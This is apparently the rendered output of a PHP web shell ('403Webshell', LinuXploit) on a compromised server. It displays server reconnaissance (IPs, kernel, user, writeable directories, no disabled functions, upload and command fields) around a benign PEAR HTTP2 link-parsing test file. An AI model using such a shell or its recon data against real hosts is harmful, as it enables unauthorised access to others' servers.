403Webshell
Server IP : 217.160.0.251  /  Your IP : 216.73.216.102
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u94981163 ( 8991765)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/php7.3/test/HTTP2/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/php7.3/test/HTTP2/tests/parseLinks_real.phpt
--TEST--
parseLinks(): real world examples
--FILE--
<?php
require_once  'HTTP2.php';
$http = new HTTP2();
$links = array(
    '<http://waterpigs.co.uk/mentions/webmention/>; rel="http://webmention.org/"',
    '<http://aaronparecki.com/webmention.php>; rel="http://webmention.org/"',
    '<https://indieauth.com>; rel="indieauth"'
);
$out = var_export($http->parseLinks($links), true);
echo preg_replace('#\s+\n#', "\n", $out);
?>
--EXPECT--
array (
  0 =>
  array (
    '_uri' => 'http://waterpigs.co.uk/mentions/webmention/',
    'rel' =>
    array (
      0 => 'http://webmention.org/',
    ),
  ),
  1 =>
  array (
    '_uri' => 'http://aaronparecki.com/webmention.php',
    'rel' =>
    array (
      0 => 'http://webmention.org/',
    ),
  ),
  2 =>
  array (
    '_uri' => 'https://indieauth.com',
    'rel' =>
    array (
      0 => 'indieauth',
    ),
  ),
)

Youez - 2016 - github.com/yon3zu
LinuXploit